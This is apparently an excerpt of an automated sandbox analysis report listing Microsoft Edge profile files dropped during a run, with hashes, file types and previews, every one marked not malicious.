Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c04a3733-b8c1-43de-8958-408fdfc34763.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14164
Entropy (8bit):	5.29169158026692
Encrypted:	false
SSDEEP:	192:stgJ99QTryDigabatSuypJsYAFyaNP+5+BqIkoeYn9YJH8BbV+FEPQwngDPVYJ:stgPGKSu4JsYytJ+5+zbGoQwgW
MD5:	8E8D99DCD1BDA887FAA8833FE80E79F0
SHA1:	3F07A2EE5BF9C7875D027FADA0ED1535C476AA1E
SHA-256:	089BEA99C7C4417EF9DC7357E0FAA30FF6B62CB4F3000D782DBAEEEBA5EDDC3F
SHA-512:	867F43AD2FA411B1C125FC84707EAA131BBF925BA47038F3D8559812A5CDAC3F2EC287BACE7DBBF5B885661D2D8EBBF4BC9523333714D7C18CA76D3686A43AEB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383995850483766","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c91e9d8f-62f1-4f85-a4ad-6ca1541d72d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f3b58383-9867-4409-ba15-8e9783faa43a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564088353334787
Encrypted:	false
SSDEEP:	768:PZe0dOWP60fan8F1+UoAYDCx9Tuqh0VfUC9xbog/OVWqUbM7VrwwjfVJqKp4tuL:PZe0dOWP60fanu1jabqUo7ewjtodtU
MD5:	1C297C6298827E2B4E6EAD1FF38BC52F
SHA1:	4361176547A4A32E985A1920BDEAA4F0C15CF4FD
SHA-256:	013358E8DC810D43F16A65E1C3F208F06022435B47D9BB769920E86C016EAFA3
SHA-512:	74A57B27045232F5FFE8686D5BE37CF230DA33284C0EBA657B90C8AB016BC730B7E3C52331F00598EC9A4DE724B55A58B0DB065CD36CDC669BA14069F4AD5625
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383995849891233","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383995849891233","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10296568495427846
Encrypted:	false
SSDEEP:	12:+CPTCPUspEjVl/PnnnnnnnnnnnvoQ/Eou:+uTuRoPnnnnnnnnnnnv1j
MD5:	AC1B12F991C032022675FF8346B914EF
SHA1:	6FE81D34AF8FC5F833F2C6BADFA6167D63032B93
SHA-256:	F2B892974C989BDC643CCAA86FAE544F62234CDB2B886D08C56445B88189A21E
SHA-512:	9FB321F2D4C2CB3E6A3A8ECE1CD8CC563B83C8FC21956C8F1578DB88C8E646FC42751FF59A2BE32B91B7684AC6D6C576744422D84FAA32145CF3272D9164006D
Malicious:	false
Preview:	..-.............M.......nR;..'3.-.....Zl.7.....-.............M.......nR;..'3.-.....Zl.7...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8885640567012819
Encrypted:	false
SSDEEP:	384:++5lYCJQ0Dv8Jaezcj6uE881buv8TYyOiyqYy8ybPy4xylw:D49T
MD5:	96FFCC42D9DA294D6B1A7CCFD686EF91
SHA1:	2D6B3EEE19560F224373179EC32BCA0CC1C1DC1C
SHA-256:	E39964CFEA24674A11EC498309C8E632DF1C6898EC6712656C16D640A662B512
SHA-512:	94260922EA20F861A00A4536256A0938C68B6B44F64D00A1D834D44D4DB9DE598EDC0672E91F9F824D89096D7C481148111A8E7B6DD33C07B439C49A2CB8ABCF
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.050307070376462
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuu6kBillSNEEAMfnsedhOr:llc8BOuuuuuuuuu6kUllyFE8+
MD5:	4FDE97AC716A17E903033A6AD76E973A
SHA1:	208AB88993D7C9D7B3AE72E2D4943298F64DC20D
SHA-256:	FA1A8CC3F0C6230AA3114746BE1BD26B11587A684A2068EDDE74298EECBCD0B5
SHA-512:	BDC94CA7B4AFD9A5EB2F8B3762A17081387E8184EE724097A277B79702B34DD8F53C951F63C865E069D2467C6C9709F54131FF75D0BE12CC6B06690BDEC98896
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................d..;...............#38_h.......6.Z..W.F..........................V.e................V.e................V.e................P./q0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.2385795254193015
Encrypted:	false
SSDEEP:	6:iOX83hh+q2PcNwi23oH+TcwtfrK+IFUtF83h8fZmw783h8fVkwOcNwi23oH+Tcwf:76hsvLZYeb23FUtoh8f/Wh8N54ZYeb3J
MD5:	877923EC54DBB7A5C452BFB57783470B
SHA1:	ED8BEF6D74AB43D19F6E78F6EB5668AD5B70D1DF
SHA-256:	7907F4BC924FD55A5F4EA87229BD70BA4681E14EDBCA0D91E9D0A2ADCD811D12
SHA-512:	58B6BF30E6E7A0585D20F8E4A2239B1550BC5BC0A42CCEA49777B99FCEAC3FE9529DDCC9B0F6E122F8D505F1D33DA2C23792149095D60591C5D2ABB860CA5431
Malicious:	false
Preview:	2025/02/14-03:37:30.547 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/14-03:37:30.548 1d58 Recovering log #3.2025/02/14-03:37:30.548 1d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.2385795254193015
Encrypted:	false
SSDEEP:	6:iOX83hh+q2PcNwi23oH+TcwtfrK+IFUtF83h8fZmw783h8fVkwOcNwi23oH+Tcwf:76hsvLZYeb23FUtoh8f/Wh8N54ZYeb3J
MD5:	877923EC54DBB7A5C452BFB57783470B
SHA1:	ED8BEF6D74AB43D19F6E78F6EB5668AD5B70D1DF
SHA-256:	7907F4BC924FD55A5F4EA87229BD70BA4681E14EDBCA0D91E9D0A2ADCD811D12
SHA-512:	58B6BF30E6E7A0585D20F8E4A2239B1550BC5BC0A42CCEA49777B99FCEAC3FE9529DDCC9B0F6E122F8D505F1D33DA2C23792149095D60591C5D2ABB860CA5431
Malicious:	false
Preview:	2025/02/14-03:37:30.547 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/14-03:37:30.548 1d58 Recovering log #3.2025/02/14-03:37:30.548 1d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.212054780848318
Encrypted:	false
SSDEEP:	6:iOX83hN3+q2PcNwi23oH+TcwtfrzAdIFUtF83hI95Zmw783hI9tVkwOcNwi23oHf:76h4vLZYeb9FUtohIf/WhIN54ZYeb2J
MD5:	78E34255E12A538E6DA15BBCAC458358
SHA1:	6385D6D9ADB3A4A5957B78E2D981CD453B466E86
SHA-256:	73A6F5B311633A76D4988F5ED56F0A60D7D30868966FDFE5B5DBC174E9ACDED5
SHA-512:	AD3036F1AA8FB9044FFA297AB9FA4ADF1D0415AD9CE87CFC604086F266B3D473C899633F9C66BC6C6A1286C31E2D451CE732EF0A30ED7DE9DB80B3EAD0F37912
Malicious:	false
Preview:	2025/02/14-03:37:30.543 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/14-03:37:30.544 1d58 Recovering log #3.2025/02/14-03:37:30.544 1d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.212054780848318
Encrypted:	false
SSDEEP:	6:iOX83hN3+q2PcNwi23oH+TcwtfrzAdIFUtF83hI95Zmw783hI9tVkwOcNwi23oHf:76h4vLZYeb9FUtohIf/WhIN54ZYeb2J
MD5:	78E34255E12A538E6DA15BBCAC458358
SHA1:	6385D6D9ADB3A4A5957B78E2D981CD453B466E86
SHA-256:	73A6F5B311633A76D4988F5ED56F0A60D7D30868966FDFE5B5DBC174E9ACDED5
SHA-512:	AD3036F1AA8FB9044FFA297AB9FA4ADF1D0415AD9CE87CFC604086F266B3D473C899633F9C66BC6C6A1286C31E2D451CE732EF0A30ED7DE9DB80B3EAD0F37912
Malicious:	false
Preview:	2025/02/14-03:37:30.543 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/14-03:37:30.544 1d58 Recovering log #3.2025/02/14-03:37:30.544 1d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103069143389172
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynVPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynlv/4KfVeZoskG
MD5:	8C94D039D70FD2F20023F360442DB387
SHA1:	53E1690DB9B1FCD6261560FE356A9C8C8DF0904B
SHA-256:	3CDECC00ACFCC7B5CE094A7F19A781939CE656FD6A780E3B8911FA925C7C9005
SHA-512:	C44BD98F0D45BBF763A1A5E3D35E05716AAD08AF2643032975BA40D5CA0B3AAADE0DABCD7BD5373B927E240BD1E79C3C5DE3C897216A3E859CF63F38F20DA977
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2cc00.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103069143389172
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynVPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynlv/4KfVeZoskG
MD5:	8C94D039D70FD2F20023F360442DB387
SHA1:	53E1690DB9B1FCD6261560FE356A9C8C8DF0904B
SHA-256:	3CDECC00ACFCC7B5CE094A7F19A781939CE656FD6A780E3B8911FA925C7C9005
SHA-512:	C44BD98F0D45BBF763A1A5E3D35E05716AAD08AF2643032975BA40D5CA0B3AAADE0DABCD7BD5373B927E240BD1E79C3C5DE3C897216A3E859CF63F38F20DA977
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2cc2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103069143389172
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynVPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynlv/4KfVeZoskG
MD5:	8C94D039D70FD2F20023F360442DB387
SHA1:	53E1690DB9B1FCD6261560FE356A9C8C8DF0904B
SHA-256:	3CDECC00ACFCC7B5CE094A7F19A781939CE656FD6A780E3B8911FA925C7C9005
SHA-512:	C44BD98F0D45BBF763A1A5E3D35E05716AAD08AF2643032975BA40D5CA0B3AAADE0DABCD7BD5373B927E240BD1E79C3C5DE3C897216A3E859CF63F38F20DA977
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2cdb6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103069143389172
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynVPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynlv/4KfVeZoskG
MD5:	8C94D039D70FD2F20023F360442DB387
SHA1:	53E1690DB9B1FCD6261560FE356A9C8C8DF0904B
SHA-256:	3CDECC00ACFCC7B5CE094A7F19A781939CE656FD6A780E3B8911FA925C7C9005
SHA-512:	C44BD98F0D45BBF763A1A5E3D35E05716AAD08AF2643032975BA40D5CA0B3AAADE0DABCD7BD5373B927E240BD1E79C3C5DE3C897216A3E859CF63F38F20DA977
Malicious:	false
